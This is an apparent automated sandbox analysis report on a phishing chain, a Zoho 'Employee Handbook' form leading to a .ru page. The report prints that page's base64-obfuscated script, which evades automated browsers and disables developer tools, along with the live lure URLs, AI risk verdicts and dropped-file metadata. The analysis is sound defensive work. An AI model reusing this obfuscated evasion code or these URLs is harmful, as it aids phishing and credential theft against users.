(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: 'o7zrc', chlApiSitekey: '0x4AAAAAAA5XFStEU8QXcfg8', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: 'EoDjNcmXd4eVqrWc2whOPq3JKF1I9qdhxIpJhMXI7TM-1737488675-1.3.1.1-C0CWpekZmB_WjPaihx957k4xeHTcYnvU8EpY8BHPmMA', chlApiResetSrc: 'new', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:120000, cK:[], cType: 'chl_api_m', cRay: '9059ccbf0e2b8c87', cH: 'kjnSw6tkirQVbheArsQhESDwsAYhNK8E92.Z6kEUhnQ-1737488675-1.1.1.1-a72RysMrxCzcZ5wJCGz6_9UgV2fwpnqJa6NblTKIb_eOTGilbAWROwghuiEOLwjL', cFPWv: 'g', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'auto', wS: 'normal', md: '0AuzI1owMwjdBWZUpkNC.vHBL2vvAPOu5XYJVk0G_e4-1737488675-1.1.1.1-A5lIKKFxV5BmTt05igEQxacl6wfqSLeleqPfdtfWfq3YhqwKlOX1C9f6JZJw9hJ5Dgxgy12AjP8eu5rZc88_MWdNBz.XPgPPqt4ecsiVJjNxnlXxip1eNuXr3I5tdAMuH67qZd98nN3lIC4yOm_NTPSnuDSSGZHfJzP06oguAHtMlUZJtRp9oYX6aYcuvlazNaYV1BTdBkJqKPxjcRK_O4HMRck5ZmcOkaVOm7NGTUSgxe4wTukiVMjLnMixpf3H42KWDKu3Uhj1jqgJdwRHzEa8P8GKf11R_GJxGZ2NVr58Ox6ZJrzrjXb7YoAJ2Xinw_JGofxm.LDRlrC.pGwY8d25NTKewgvgJBG491J2_WFZSzt2zg0wFqrPqIZi_o0DeaJp6ehVHEVXSoPzR_UKS.VhQfrTetbGqSOnOOR3mk6Q2lEp34XGox8N4SZuSsRf_RN.8z.Pd0MlaXeocBPT4tTexo7or1sOoC9a05cNHRd4j8HXWxih3LDfiZJBF1RvZWsmWVptdREWWCE.U8sqixMKSs4TW93MZKO3zr6_gtiqfS_r7Dn543Q8MfLrZWHQY_a_Ztk_0c4Fnt_Jk7scA9_5aEFjdK3Ih9lRe6j8cXRLBKnML5yN5N9wzvlpyejlNEf6BVmUP.lfMEzeO_2PucbkGmZnvS4qXIVNeVoDAUEL17h4TUDAKGA4FcSk5V
URL: https://dmk.erbirkinarinf.ru/ufPlTO2Y/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to execute remote code, along with the attempt to send user data to an untrusted domain, are clear indicators of malicious intent. Additionally, the script attempts to disable common browser security features like the context menu and certain keyboard shortcuts, further suggesting a malicious purpose. Overall, this script demonstrates a high level of risk and should be treated with caution." }
if(atob("aHR0cHM6Ly9EbWsuZXJiaXJraW5hcmluZi5ydS91ZlBsVE8yWS8=") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiN2dldRTUhKeXBUIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI3Z2V1FNSEp5cFQgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI3Z2V1FNSEp5cFQgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojdnZXUU1ISnlwVCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI3Z2V1FNSEp5cFQuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogNTNweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI3Z2V1FNSEp5cFQgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiN2dldRTUhKeXBUIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojdnZXUU1ISnlwVCAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiN2dldRTUhKeXBUIC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiN2dldRTUhKeXBUIC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojdnZXUU1ISnlwVCAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojdnZXUU1ISnlwVC5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI3Z2V1FNSEp5cFQgLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiN2dldRTUhKeXBUICNHYW1zcWJWSU1KIHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQphQ3FHYnhjS1dmID0gZmFsc2U7DQooZnVuY3Rpb24gV0REcEtXRUhNZCgpIHsNCiAgICBsZXQgSmtieWF6aXF4WSA9IGZhbHNlOw0KICAgIGNvbnN0IGNYSkhYaHdmd1QgPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IGFweXFXSFVZQ2IgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAg
URL: https://forms.zohopublic.com/philhdr1/form/2025EmployeesHandbook/formperma/GrVUygSKNf4o4V5HIfB_T9v6K96eG8oZnr1iSlS9nJM Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "IT'S TIME TO REVIEW YOUR EMPLOYEE HANDBOOK", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "employee handbook" }

URL: https://forms.zohopublic.com/philhdr1/form/2025EmployeesHandbook/formperma/GrVUygSKNf4o4V5HIfB_T9v6K96eG8oZnr1iSlS9nJM Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "IT'S TIME TO REVIEW YOUR EMPLOYEE HANDBOOK", "prominent_button_name": "ACCESS HANDBOOK", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://forms.zohopublic.com/philhdr1/form/2025EmployeesHandbook/formperma/GrVUygSKNf4o4V5HIfB_T9v6K96eG8oZnr1iSlS9nJM Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://forms.zohopublic.com/philhdr1/form/2025EmployeesHandbook/formperma/GrVUygSKNf4o4V5HIfB_T9v6K96eG8oZnr1iSlS9nJM Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://dmk.erbirkinarinf.ru/ufPlTO2Y/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://dmk.erbirkinarinf.ru Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 2, "spoofed": 1, "reasoning": "The URL 'https://dmk.erbirkinarinf.ru' does not closely resemble any well-known brand or legitimate URL. There are no obvious character substitutions or visual similarities to a known brand. The domain 'erbirkinarinf.ru' does not suggest any connection to a recognized brand, and the subdomain 'dmk' does not provide any clear indication of typosquatting. The structure and context of the URL do not imply a deceptive intent, and it could be related to a legitimate purpose unrelated to any known brand."}
URL: https://dmk.erbirkinarinf.ru
URL: https://dmk.erbirkinarinf.ru/ufPlTO2Y/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 21 18:44:17 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9963397527643325
Encrypted:	false
SSDEEP:
MD5:	E634AEFC40E8298FE31CA9530DC743F5
SHA1:	3EA99C45B06706FC4EDF9F0DAE666E0BD222892C
SHA-256:	B053D22104393075D57CD0D6032DD7B66782D26AC838A22F6E657D0ECB15A04B
SHA-512:	FAE68DAD318A6B2A90D0CE0D95E14A42AA06E900992421AC73E3D56F543A0486E92F2F9121F41ED0C25B14CD84FD23E79790AEE657CE4B29AAD0455417D7948C
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......r.<l......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I5Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V5Z......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V5Z......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V5Z.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V5Z.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 21 18:44:17 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.0126456477288155
Encrypted:	false
SSDEEP:
MD5:	C14B3A764C6C43A6AD83B2806513A841
SHA1:	B6B9659A64CB9B52DCC86D011A0B889FC38B5B62
SHA-256:	24F7BF3BA91F7EDD92AEC73D5DAF385050165D983BB32CF00723CF2A48A53295
SHA-512:	C416465A9A5AD338FD4FD368F5A9CD92F4565FB5C18946364D9DB9108E4F1173C3211E5E3C3FAAFA5A30B7D1167F13A7AB1924C6C33E5E1780D6D27503AD30F5
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....xc.<l......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I5Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V5Z......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V5Z......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V5Z.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V5Z.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.023389820158653
Encrypted:	false
SSDEEP:
MD5:	DFBCF542B4D1888137126D1D73FAF28B
SHA1:	F6354716B1850D87C8E03458735C6D6B6C9EEF6E
SHA-256:	214A1E857A5D93D889E0C7D5B7544FB4737EBC950AA94A95C22B6B51E51263E9
SHA-512:	64B0D0EABB27E6267B745DC30F8F9979A82C090FB22ADA785BCCA6778E2C5D9623EE797F6E1F9223D4203B77417584BB257A328C8E505499FE6464E36E8D59F6
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I5Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V5Z......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V5Z......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V5Z.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 21 18:44:17 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.013470449388183
Encrypted:	false
SSDEEP:
MD5:	F59E4943A82E5C8FB3932188742FB808
SHA1:	253DD84D307085BEFB12BCA62856BCCB1E8F58FE
SHA-256:	EEB0773B0B79D3E43379BB0C29AAAE07514243D55311E53ADB715B2EBD5B4840
SHA-512:	9154146C923C87BB6A2CBE679ED88B5E93C1869A035B8E851E2272C3EA2C9983EAF2D0A6DE8DD56B914388656C657BB699DDB78AC9C907D44CB333565F02C79B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......[.<l......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I5Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V5Z......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V5Z......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V5Z.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V5Z.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 21 18:44:17 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.00095328638025
Encrypted:	false
SSDEEP:
MD5:	9C91BCF23E0FD743EE489A3EA6E92615
SHA1:	217ABB5662FF41A0ABB7B7F8D4FACC1B5ADE93E6
SHA-256:	3EE4DB933CD8429B09894A9EDC4890CCEE23F2F986A585E2C15CD7FF8CA0E064
SHA-512:	24909B64A2926C9C9CDE7B472A75EE63B25D94BFEE81E8145F45DDA435B33470F928F9F3BA2EEE5F8B08A6ACB776E5899592CF6EF137580038A5112AB32919E3
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......k.<l......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I5Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V5Z......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V5Z......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V5Z.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V5Z.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 21 18:44:17 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.014344203616851
Encrypted:	false
SSDEEP:
MD5:	3B378773B9D46A68C929CD98C33525DE
SHA1:	8DC5CC6673B73DDFE95B17CD62EF0B829A04FED0
SHA-256:	92E3AA6F28E3F5B179EFE33D8AF02BD39EA57EEE6C4985A6E92058FFE47D7291
SHA-512:	AF160616F208FBAB0D11D405C5FE2FFD39E04C229351F2A28D0EF09BBBE95436E123B53D4883ED8C088A35B8FCBD846EF36AFC9DDFFC9DBCC0A2746CE9B24844
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......O.<l......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I5Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V5Z......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V5Z......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V5Z.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V5Z.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............=.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65440)
Category:	downloaded
Size (bytes):	78475
Entropy (8bit):	5.050086845440776
Encrypted:	false
SSDEEP:
MD5:	2755260429CD02C98112DAC6F4B5B8CE
SHA1:	C0FDD6EC5E0C9F2B85D42E517C375F07BEC5BC2D
SHA-256:	B2CEA84C60142EA60E4A2CE7FFC440387184266D0133F3141E5142EE4C160F8D
SHA-512:	408F6EC5EF7D0F15EF71DCB2606B07F033450977C27FDD337754C4A62EC8CA5A095C5C5654A710D87AD31978BDD776C3FA9A02B7B956A292E19A85065C005B67
Malicious:	false
Reputation:	unknown
URL:	https://static.zohocdn.com/forms/css/formsthirdparty.2755260429cd02c98112dac6f4b5b8ce.css
Preview:	/* $Id$ /./. IMPORTANT NOTE: This compressed css file includes thirdparty stylesheets. /../ * CSS Styles that are needed by jScrollPane for it to operate correctly. * * Include this stylesheet in your site or copy and paste the styles below into your stylesheet - jScrollPane * may not operate correctly without them. /.jspContainer{.overflow: hidden;.position: relative;}.jspPane{.position: absolute;}.jspVerticalBar{.position: absolute;.top: 0;.right: 0;.width: 16px;.height: 100%;.background: red;}.jspHorizontalBar{.position: absolute;.bottom: 0;.left: 0;.width: 100%;.height: 16px;.background: red;}.jspVerticalBar ,.jspHorizontalBar *{.margin: 0;.padding: 0;}.jspCap{.display: none;}.jspHorizontalBar .jspCap{.float: left;}.jspTrack{.background: #dde;.position: relative;}.jspDrag{.background: #bbd;.position: relative;.top: 0;.left: 0;.cursor: pointer;}.jspHorizontalBar .jspTrack,.jspHorizontalBar .jspDrag{.float: left;.height: 100%;}.jspArrow{.background: #50506d;.text-indent: -20

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 186632, version 0.0
Category:	downloaded
Size (bytes):	186632
Entropy (8bit):	7.996181765515217
Encrypted:	true
SSDEEP:
MD5:	89A8048AA1A00347A7804446AF7D96CE
SHA1:	187BBB7C6AA4D2BDDD49293D4F00A7CBF0504ADB
SHA-256:	C410EC4820FD6AEFF0859FA8E8140C50E30D279FBBA8134EB1002F62F9DB5937
SHA-512:	FCF3BA9D01310DF1399582ED86729F3B4C81F7140A3C96941DD9BAD3E0A39923634212CD67B5E2D861BABDFD17BD0A20650144428E8AD4C7ECE6C5D58F146B85
Malicious:	false
Reputation:	unknown
URL:	https://static.zohocdn.com/webfonts/interbold/font.woff
